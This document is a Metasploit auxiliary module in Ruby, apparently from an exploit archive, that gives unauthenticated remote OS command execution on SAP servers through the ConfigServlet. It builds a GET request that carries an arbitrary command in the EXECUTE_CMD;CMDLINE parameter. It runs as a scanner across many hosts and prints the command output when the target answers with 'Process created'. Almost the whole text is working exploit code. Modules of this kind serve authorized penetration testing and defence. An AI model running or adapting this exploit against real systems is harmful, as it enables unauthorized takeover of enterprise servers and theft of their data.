SAP ConfigServlet OS Command Execution

`require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SAP ConfigServlet OS command execution',  
'Description' => %q{  
This module allows execution of operating system commands through  
the SAP ConfigServlet without any authentication.  
},  
'Author' =>  
[  
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)  
'Andras Kabai', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],  
],  
'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation  
))  
  
register_options(  
[  
Opt::RPORT(50000),  
OptString.new('CMD', [ true, 'The command to execute', 'whoami']),  
OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),  
OptBool.new('SSL', [true, 'Use SSL', false])  
], self.class)  
end  
  
def run_host(ip)  
begin  
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])  
res = send_request_cgi(  
{  
'uri' => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),  
'method' => 'GET',  
})  
if !res or res.code != 200  
print_error("#{rhost}:#{rport} - Exploit failed.")  
return  
end  
rescue ::Rex::ConnectionError  
print_error("#{rhost}:#{rport} - Failed to connect to the server")  
return  
end  
  
if res.body.include?("Process created")  
print_good("#{rhost}:#{rport} - Exploited successfully\n")  
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")  
print_line("#{rhost}:#{rport} - Output: #{res.body}")  
else  
print_error("#{rhost}:#{rport} - Exploit failed.")  
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")  
end  
end  
end  
  
`